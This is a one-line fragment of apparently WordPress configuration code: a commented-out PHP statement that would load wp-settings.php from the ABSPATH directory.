// require_once ABSPATH . 'wp-settings.php';